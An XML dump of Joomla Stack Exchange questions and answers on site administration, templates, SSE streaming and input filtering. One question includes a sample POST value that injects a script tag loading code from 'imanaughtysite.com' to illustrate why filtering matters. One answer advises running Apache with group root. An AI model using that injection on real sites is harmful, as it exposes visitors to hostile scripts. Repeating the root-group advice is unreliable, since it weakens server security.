  <row Id="5188" PostTypeId="2" ParentId="5184" CreationDate="2014-11-12T07:24:03.207" Score="1" Body="&lt;p&gt;Open your apache configuration file and add these lines of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User apache&#xA;Group root&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file may be located in &lt;code&gt;/etc/apache2&lt;/code&gt; directory for example &lt;code&gt;/etc/apache2/httpd.conf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative you may consider changing the ownership of files/folders to &lt;code&gt;www-data:www-data&lt;/code&gt; recursively because this is the default user/group of apache:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown -R www-data:www-data YOUR_JOOMLA_BASE_DIR&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-11-16T09:35:14.737" LastActivityDate="2014-11-16T09:35:14.737" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5189" PostTypeId="1" CreationDate="2014-11-12T07:56:53.813" Score="4" ViewCount="16440" Body="&lt;p&gt;I have this message: Error: 404 Component not found&#xA;How can I find the missing component?&lt;/p&gt;&#xA;" OwnerUserId="2180" LastEditorUserId="115" LastEditDate="2014-12-13T03:07:07.383" LastActivityDate="2017-04-03T05:31:36.373" Title="How to find a missing component - Error: 404 Component not found" Tags="|component|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5190" PostTypeId="2" ParentId="5185" CreationDate="2014-11-12T08:40:54.573" Score="2" Body="&lt;p&gt;It's still hard to believe how this user was able to remove Super Users permissions - it really takes some efforts to achieve this. Again are you sure this is the case ? Are you getting any special message when trying to login?&lt;/p&gt;&#xA;&lt;p&gt;It can be just that he disabled some plugins.&lt;/p&gt;&#xA;&lt;p&gt;I would suggest first to check with PHPmyAdmin in the extensions table to see if the following plugins are enabled :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;plg_user_joomla&lt;/p&gt;&#xA;&lt;p&gt;plg_authentication_joomla&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If they are not enabled, their value will be '0', so re-enable these plugins by changing the value to '1' (no quotes).&lt;/p&gt;&#xA;&lt;p&gt;If this is not the case, and you are sure the issue comes from the core permissions that have been changed in the global configuration, you could try run the following sql query within PHPmyAdmin.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;update `jos_assets` set `rules` = '{&amp;quot;core.login.site&amp;quot;:{&amp;quot;6&amp;quot;:1,&amp;quot;2&amp;quot;:1},&amp;quot;core.login.admin&amp;quot;:{&amp;quot;6&amp;quot;:1,&amp;quot;7&amp;quot;:1},&amp;quot;core.login.offline&amp;quot;:{&amp;quot;6&amp;quot;:1},&amp;quot;core.admin&amp;quot;:{&amp;quot;8&amp;quot;:1,&amp;quot;10&amp;quot;:1},&amp;quot;core.manage&amp;quot;:{&amp;quot;7&amp;quot;:1},&amp;quot;core.create&amp;quot;:{&amp;quot;6&amp;quot;:1,&amp;quot;3&amp;quot;:1},&amp;quot;core.delete&amp;quot;:{&amp;quot;6&amp;quot;:1},&amp;quot;core.edit&amp;quot;:{&amp;quot;6&amp;quot;:1,&amp;quot;4&amp;quot;:1},&amp;quot;core.edit.state&amp;quot;:{&amp;quot;6&amp;quot;:1,&amp;quot;5&amp;quot;:1},&amp;quot;core.edit.own&amp;quot;:{&amp;quot;6&amp;quot;:1,&amp;quot;3&amp;quot;:1}}'&#xA;where `name` = 'root.1';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will revert the default core permissions for the core usergroups.&#xA;In the case that you have the core usergroups but have custom core permissions, the above code will also change this and after a possible successful login, you will have to re-do your custom permissions.&lt;/p&gt;&#xA;&lt;p&gt;Note that it won't work if you have changed and created custom usergroups. In this scenario, let us know so we can work it from that point.&lt;/p&gt;&#xA;&lt;p&gt;In any case, backup your current database before doing anything manually in there.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-11-12T18:38:27.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5191" PostTypeId="2" ParentId="5187" CreationDate="2014-11-12T09:14:54.847" Score="1" Body="&lt;p&gt;Hard to tell.&lt;/p&gt;&#xA;&lt;p&gt;It's most likely still using old deprecated and removed code that Joomla 3.x doesn't support. The only thing you can do is check the developer site to see if there is a Joomla 3.x compatible version of the modue, else find an alternative extension with similar features.&lt;/p&gt;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&lt;p&gt;According to the developer site, the later versions support Joomla 2.5 and 3.x, however I'm aware this is a commercial extension therefore you may not wish to purchase it. Perhaps someone else who has used a similar extension could provide an alternative if need be.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-11-12T09:14:54.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5193" PostTypeId="2" ParentId="5185" CreationDate="2014-11-12T10:11:22.817" Score="2" Body="&lt;p&gt;My guess is more that the &quot;last&quot; SuperUser is unknown. It shouldn't be possible to deactivate/delete that one. Don't want to test it right now. The SuperUser has hardcoded permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'#__usergroups' : id 8 exists&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'#__user_usergroup_map' : at least one group_id 8 should exist&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'#__users' : find the user to log in with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't know the password, I hope you know how to fix the above table entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it should be possible to correct the missing permissions the &quot;normal&quot; backend way&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this works.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-11-12T10:11:22.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5194" PostTypeId="2" ParentId="365" CreationDate="2014-11-12T10:32:33.750" Score="0" Body="&lt;p&gt;I found &lt;a href=&quot;http://lendr.websparkinc.com/&quot; rel=&quot;nofollow&quot;&gt;http://lendr.websparkinc.com/&lt;/a&gt;. That's a great tutorial for Joomla 3+ component development using - as far as I can see - the new Joomla 3 MVC paradigma. &lt;/p&gt;&#xA;" OwnerUserId="51" LastActivityDate="2014-11-12T10:32:33.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5195" PostTypeId="2" ParentId="5189" CreationDate="2014-11-12T10:34:26.840" Score="8" Body="&lt;p&gt;You can find what is the missing component by either checking what is the component assigned to that specific &lt;strong&gt;menu item&lt;/strong&gt; that creates this page, or if there is no menu item for this page you can &lt;strong&gt;disable SEF URLs&lt;/strong&gt; in the &lt;strong&gt;Global configuration&lt;/strong&gt; and find the name of the component by the option=com_component part of the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;URL Example&lt;/strong&gt;: &lt;code&gt;www.mysite.com/index.php?option=com_content&amp;amp;view=category&amp;amp;layout=blog&amp;amp;id=1&amp;amp;Itemid=10&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;option=com_content&lt;/code&gt; part means that the component of this page is the Content component.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-11-12T10:34:26.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5196" PostTypeId="1" AcceptedAnswerId="5205" CreationDate="2014-11-12T10:45:25.990" Score="1" ViewCount="539" Body="&lt;p&gt;What is the correct way to implement a MVC structure in Joomla 3 helpers?&#xA;In example I generate a html part through helper function like following:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class TestHelpersView {&#xA;&#xA;    function demo($params = array()) {&#xA;        // prepeare something &#xA;&#xA;        $url = '#';&#xA;        $text = 'Unlink';&#xA;        $attribs = array('onclick'=&amp;gt;&quot;foo();&quot;);&#xA;&#xA;        // compose some html&#xA;        $html = '&amp;lt;b&amp;gt;'.JHtml::link('#', $text, $attribs).'&amp;lt;/b&amp;gt;';&#xA;&#xA;&#xA;        return $html;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In different views I call:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo TestHelpersView::demo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It it possible and useful to use a MVC structure to compose the helper html result?&lt;/p&gt;&#xA;" OwnerUserId="51" LastActivityDate="2014-11-12T17:19:59.260" Title="How to use a MVC paradigma in helpers?" Tags="|joomla-3.x|component|mvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5197" PostTypeId="1" CreationDate="2014-11-12T13:19:08.937" Score="2" ViewCount="635" Body="&lt;p&gt;for people that have used Joomla for a while you are probably familiar with RokSprocket - a content module from RocketTheme, very useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a 'Load More' button, that can load the next bit of articles. &#xA;I have been struggling, to remove this button, and to make the articles to load automatically as the users scrolls through the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone have experience doing this?&lt;/p&gt;&#xA;" OwnerUserId="2184" LastEditorUserId="107" LastEditDate="2014-11-13T00:49:40.767" LastActivityDate="2014-11-13T07:35:20.767" Title="RokSprocket automate Load More" Tags="|joomla-3.x|php|javascript|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5198" PostTypeId="1" AcceptedAnswerId="5199" CreationDate="2014-11-12T14:03:01.457" Score="7" ViewCount="15731" Body="&lt;p&gt;In my template I want to give an extra class to the body of the document that will take the names of the alias of the menu item, so I can create individual styling among the pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I get the alias or title of the active menu item ?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-09T10:11:51.517" LastActivityDate="2016-06-28T12:47:41.600" Title="How to get the alias or title of the active menu item?" Tags="|joomla-3.x|templates|joomla-api|menu-item|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5199" PostTypeId="2" ParentId="5198" CreationDate="2014-11-12T14:03:46.763" Score="12" Body="&lt;p&gt;To get the data of the active (current) menu item, use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $app       = JFactory::getApplication(); // Access the Application Object&#xA;&#xA; $menu      = $app-&amp;gt;getMenu(); // Load the JMenuSite Object&#xA;&#xA; $active    = $menu-&amp;gt;getActive(); // Load the Active Menu Item as an stdClass Object&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;&lt;code&gt;$active&lt;/code&gt;&lt;/strong&gt; is an object of the current menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outputting with &lt;code&gt;print_r($active)&lt;/code&gt; you can have a view of all of its properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example output of the above &lt;code&gt;print_r();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stdClass Object&#xA;(&#xA;    [id] =&amp;gt; 136&#xA;    [menutype] =&amp;gt; main-menu&#xA;    [title] =&amp;gt; Photos&#xA;    [alias] =&amp;gt; photos&#xA;    [note] =&amp;gt; &#xA;    [route] =&amp;gt; photos&#xA;    [link] =&amp;gt; index.php?option=com_content&amp;amp;view=article&amp;amp;id=157&#xA;    [type] =&amp;gt; component&#xA;    [level] =&amp;gt; 1&#xA;    [language] =&amp;gt; en-US&#xA;    [browserNav] =&amp;gt; 0&#xA;    [access] =&amp;gt; 1&#xA;    [params] =&amp;gt; Joomla\Registry\Registry Object&#xA;        (&#xA;            [data:protected] =&amp;gt; stdClass Object&#xA;                (&#xA;                    [show_title] =&amp;gt; &#xA;                    [link_titles] =&amp;gt; &#xA;                    [show_intro] =&amp;gt; &#xA;                    [info_block_position] =&amp;gt; &#xA;                    [show_category] =&amp;gt; &#xA;                    [link_category] =&amp;gt; &#xA;                    [show_parent_category] =&amp;gt; &#xA;                    [link_parent_category] =&amp;gt; &#xA;                    [show_author] =&amp;gt; &#xA;                    [link_author] =&amp;gt; &#xA;                    [show_create_date] =&amp;gt; &#xA;                    [show_modify_date] =&amp;gt; &#xA;                    [show_publish_date] =&amp;gt; &#xA;                    [show_item_navigation] =&amp;gt; &#xA;                    [show_vote] =&amp;gt; &#xA;                    [show_icons] =&amp;gt; &#xA;                    [show_print_icon] =&amp;gt; &#xA;                    [show_email_icon] =&amp;gt; &#xA;                    [show_hits] =&amp;gt; &#xA;                    [show_tags] =&amp;gt; &#xA;                    [show_noauth] =&amp;gt; &#xA;                    [urls_position] =&amp;gt; &#xA;                    [menu-anchor_title] =&amp;gt; &#xA;                    [menu-anchor_css] =&amp;gt; &#xA;                    [menu_image] =&amp;gt; &#xA;                    [menu_text] =&amp;gt; 1&#xA;                    [page_title] =&amp;gt; &#xA;                    [show_page_heading] =&amp;gt; 0&#xA;                    [page_heading] =&amp;gt; &#xA;                    [pageclass_sfx] =&amp;gt; &#xA;                    [menu-meta_description] =&amp;gt; &#xA;                    [menu-meta_keywords] =&amp;gt; &#xA;                    [robots] =&amp;gt; &#xA;                    [secure] =&amp;gt; 0&#xA;                )&#xA;&#xA;        )&#xA;&#xA;    [home] =&amp;gt; 0&#xA;    [img] =&amp;gt; &#xA;    [template_style_id] =&amp;gt; 0&#xA;    [component_id] =&amp;gt; 22&#xA;    [parent_id] =&amp;gt; 1&#xA;    [component] =&amp;gt; com_content&#xA;    [tree] =&amp;gt; Array&#xA;        (&#xA;            [0] =&amp;gt; 136&#xA;        )&#xA;&#xA;    [query] =&amp;gt; Array&#xA;        (&#xA;            [option] =&amp;gt; com_content&#xA;            [view] =&amp;gt; article&#xA;            [id] =&amp;gt; 157&#xA;        )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To use any of the properties, you can&#xA;echo &lt;code&gt;$active-&amp;gt;'property name';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. &lt;code&gt;echo $active-&amp;gt;alias;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-06-28T12:47:41.600" LastActivityDate="2016-06-28T12:47:41.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5200" PostTypeId="2" ParentId="5197" CreationDate="2014-11-12T14:20:54.803" Score="3" Body="&lt;p&gt;I've never used RokSprocket before but I hope this answer will help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say you have the following HTML markup for your button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;loadmore&quot;&amp;gt;Load more&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now rather than actually hiding the element, you make it transparent instead using CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.loadmore {&#xA;    opacity: 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And as for the auto load, you can trigger a click event once the hidden button is visible in the browser viewport:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;&#xA;    var loadmore = $('.loadmore');&#xA;&#xA;    $(document).on('scroll', function(){&#xA;        if (loadmore.visible(true)){&#xA;            loadmore.trigger('click');&#xA;        }&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-11-13T07:35:20.767" LastActivityDate="2014-11-13T07:35:20.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5201" PostTypeId="1" AcceptedAnswerId="5204" CreationDate="2014-11-12T14:44:40.827" Score="3" ViewCount="212" Body="&lt;p&gt;Is it possible to implement SSE on Joomla, like how it is implemented in pure PHP &lt;a href=&quot;http://www.htmlgoodies.com/beyond/php/show-progress-report-for-long-running-php-scripts.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;administrator/components/com_component/controllers/sync.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ComponentControllerSync extends JControllerLegacy&#xA;    public function execute()&#xA;    {&#xA;            $close = array(&#xA;                    'id' =&amp;gt; 'CLOSE',&#xA;                    'message' =&amp;gt; 'stream closed');&#xA;&#xA;            $progress = array(&#xA;                    'id' =&amp;gt; 'PROGRESS',&#xA;                    'message' =&amp;gt; '100/100 done',&#xA;                    'progress' =&amp;gt; '100%');&#xA;&#xA;            header('Content-Type: text/event-stream');&#xA;            header('Cache-Control: no-cache');&#xA;            echo &quot;data: &quot; . json_encode($progress) . PHP_EOL;&#xA;            echo PHP_EOL;&#xA;            ob_flush();&#xA;            flush();&#xA;&#xA;            sleep(5);&#xA;&#xA;            echo &quot;data: &quot; . json_encode($close) . PHP_EOL;&#xA;            echo PHP_EOL;&#xA;            ob_flush();&#xA;            flush();&#xA;&#xA;            JFactory::getApplication()-&amp;gt;close();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JavaScript which calls the controller&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($, window, document){&#xA;    $(function(){&#xA;            $('#sync').on('click', function(){&#xA;                    $.eventsource({&#xA;                            label: 'evt',&#xA;                            url: 'index.php?option=com_component&amp;amp;task=sync.execute',&#xA;                            dataType: 'text',&#xA;                            open: function(data) {&#xA;                                    console.log('started');&#xA;                            },&#xA;                            message: function(e) {&#xA;                                    var json = e;&#xA;                                    var id = e.id;&#xA;&#xA;                                    if(id == 'PROGRESS'){&#xA;                                            console.log(json.message + json.progress);&#xA;                                    }&#xA;                                    else if(id == 'CLOSE'){&#xA;                                            console.log(json.message);&#xA;                                            $.eventsource('close', 'evt');&#xA;                                    }&#xA;                                    else if(id == 'ERROR'){&#xA;                                            console.log(json.message);&#xA;                                            $.eventsource('close', 'evt');&#xA;                                    }&#xA;                            }&#xA;                    });&#xA;            });&#xA;    });&#xA;})(window.jQuery, window, document);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla takes all of the echos into a buffer then presents the output to the client, which is the opposite of what I wanted. Is there a way to go around this buffer and stream the echos?&lt;/p&gt;&#xA;" OwnerUserId="2185" LastActivityDate="2014-11-12T17:09:30.363" Title="Joomla 3.x and SSE" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5202" PostTypeId="2" ParentId="5182" CreationDate="2014-11-12T15:24:42.027" Score="1" Body="&lt;p&gt;First of all, I'm by no means a .htaccess guru, but here's an idea that might work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} .*lang=en.*&#xA;RewriteRule ^(.*)$ /en/$1.html? [R=301,L]&#xA;&#xA;RewriteCond %{QUERY_STRING} .*lang=es.*&#xA;RewriteRule ^(.*)$ /es/$1.html? [R=301,L]&#xA;&#xA;RewriteCond %{QUERY_STRING} .*lang=no.*&#xA;RewriteRule ^(.*)$ /no/$1.html? [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll have to repeat the two lines for each language you want to redirect, but it shouldn't be difficult unless you have a crazy amount of languages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first rule checks if &lt;code&gt;lang=en&lt;/code&gt; is present in the URL, and if it is, the URL is rewritten using &lt;code&gt;/en/&lt;/code&gt; in the path. The &lt;code&gt;?&lt;/code&gt; in &lt;code&gt;html?&lt;/code&gt; removes any URL parameter. The &lt;code&gt;L&lt;/code&gt; parameter forces the rule to be the last one, and any rule below is ignored.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can test this (and other solutions) using the &lt;strong&gt;&lt;a href=&quot;http://htaccess.madewithlove.be/&quot; rel=&quot;nofollow&quot;&gt;htaccess tester&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps, at least it's worth a try.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-11-12T15:45:33.853" LastActivityDate="2014-11-12T15:45:33.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5203" PostTypeId="2" ParentId="5140" CreationDate="2014-11-12T16:50:26.343" Score="2" Body="&lt;p&gt;I haven't built a VirtueMart site in a while but, the short answer is to make VirtueMart available to &quot;public&quot; and require registration before anything can be purchased. Again, working from memory, seems to me this is the most common way of working with VirtueMart.&lt;/p&gt;&#xA;" OwnerUserId="130" LastActivityDate="2014-11-12T16:50:26.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5204" PostTypeId="2" ParentId="5201" CreationDate="2014-11-12T17:09:30.363" Score="1" Body="&lt;p&gt;By default, Joomla executes a controller and renders a page in way defined to optimize buffering in a single output. Your routine works in a different way, having control over the output and browser channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides the buffering issue, the main problem with long-running PHP scripts is web server session timeout (max_execution_time). Even if it returns periodic outputs to the browser with the detailed technique, the session can be killed if the page does complete before &lt;strong&gt;max_execution_time&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you cannot define a max_execution_time or, for performance reasons, max_execution_time has to be short, it is better to break the task in asynchronic callbacks, and keep the execution time in the same order than a common page.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-12T17:09:30.363" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5205" PostTypeId="2" ParentId="5196" CreationDate="2014-11-12T17:19:59.260" Score="0" Body="&lt;p&gt;Joomla has a default MVC structure, there is no need to add a new level through helpers to generate an output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, Joomla calls you component simply including the main php file, &lt;strong&gt;yourcomponent.php&lt;/strong&gt;. Thus, you can implement any PHP script inside your component, using any part of the Joomla CMS (or not). In this space, you can  implement your own MVC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, FOF is a library to develop extensions based on a different MVC structure, smoothly integrated with Joomla classes: &lt;a href=&quot;https://github.com/akeeba/fof&quot; rel=&quot;nofollow&quot;&gt;https://github.com/akeeba/fof&lt;/a&gt; or &lt;a href=&quot;https://www.akeebabackup.com/documentation/fof.html&quot; rel=&quot;nofollow&quot;&gt;https://www.akeebabackup.com/documentation/fof.html&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-12T17:19:59.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5207" PostTypeId="1" AcceptedAnswerId="5208" CreationDate="2014-11-12T20:18:51.823" Score="12" ViewCount="11878" Body="&lt;p&gt;I have a joomla site and it is installed in a subfolder in my hosting account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now if I want to access my site I have to type &lt;strong&gt;www.mysite.com/joomla&lt;/strong&gt;. I want to be able to access my site's homepage directly with my domain &lt;strong&gt;www.site.com&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do this ?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-05T11:31:20.147" LastActivityDate="2018-05-27T23:03:07.617" Title="How to move my site from subfolder to root?" Tags="|administration|configuration|global-configuration|server|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5208" PostTypeId="2" ParentId="5207" CreationDate="2014-11-12T20:18:51.823" Score="14" Body="&lt;p&gt;Here are the steps required to move a joomla site from subfolder to the root:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use a FTP client and connect to your hosting account via FTP, or use the File Manager that should be available in the Control Panel of your hosting account.&lt;/li&gt;&#xA;&lt;li&gt;Navigate to the folder where Joomla resides (root/joomla).&lt;/li&gt;&#xA;&lt;li&gt;Locate configuration.php file, download and open it with a text editor (not a word-processing software like ms word).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You are looking for the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $live_site = '';&#xA;var $log_path = '/home/username/public_html/joomla/logs';&#xA;var $tmp_path = '/home/username/public_html/joomla/tmp';&#xA;var $ftp_root = 'public_html/joomla';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $live_site = '';&#xA;var $log_path = '/home/username/public_html/logs';&#xA;var $tmp_path = '/home/username/public_html/tmp';&#xA;var $ftp_root = 'public_html';&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the &lt;code&gt;$live_site&lt;/code&gt; variable had a value:&lt;br&gt;&#xA;e.g. &lt;code&gt;$live_site = 'http://www.site.com/joomla';&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then adjust like:&lt;br&gt;&#xA;&lt;code&gt;$live_site = 'http://www.site.com';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Save configuration.php and upload it back to its previous location.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check for a file named .htaccess. If it's available, edit this as well. You are looking for the following line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RewriteBase /joomla&lt;/code&gt;  Change to: &lt;code&gt;RewriteBase /&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;*instead of joomla, expect to see your actual's subfolder's name, where joomla resides.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;Navigate back to your Root folder. If there are files and folders of an older site, it's best advised to create a new folder, name it something like &quot;old-site&quot;, and put all of its files in this folder.&lt;/li&gt;&#xA;&lt;li&gt;Now all you need to do is to move the files/folders of the Joomla installation to the root folder.&lt;/li&gt;&#xA;&lt;li&gt;After the move is complete, login to the administrator and clean Joomla's cache. Go to System -&gt; Clear Cache and clean up the cached files.&lt;/li&gt;&#xA;&lt;li&gt;Check the front-end of your site.&lt;/li&gt;&#xA;&lt;li&gt;If everything works fine - remember to delete the files of the old site if you don't need them anymore.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-11-13T07:39:59.783" LastActivityDate="2014-11-13T07:39:59.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5210" PostTypeId="1" AcceptedAnswerId="5344" CreationDate="2014-11-13T00:08:10.417" Score="6" ViewCount="837" Body="&lt;p&gt;This is one that has bugged me for several years now - Joomla provided JRequest, and then JInput to access filtered data from the incoming request. You can ask for filtered strings, integers, words etc. Or you can ask for an array (either by just using getVar with the variable name alone and assuming/checking that the value returned is an array, or by forcing the matter by supplying a few extra parameters to it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can't ask for an array of integers, words etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, my POST data might include:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stuff[abc]=1&#xA;stuff[def]=75&#xA;stuff[123]=&amp;lt;script src=&quot;http://imanaughtysite.com/muahahaha.js&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I ask JInput for 'stuff' as an array of integers?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="454" LastEditorUserId="159" LastEditDate="2014-11-22T10:43:33.677" LastActivityDate="2014-11-22T11:52:24.810" Title="Input filtering an array of integers, words" Tags="|security|jinput|jrequest|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5211" PostTypeId="2" ParentId="5210" CreationDate="2014-11-13T06:07:49.080" Score="7" Body="&lt;p&gt;Joomla does not support multiple type as filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can not be done either using JRequest or JInput.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no workaround available in Joomla till now.&#xA;You need to handle multiple filters in your code only.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2014-11-13T06:07:49.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
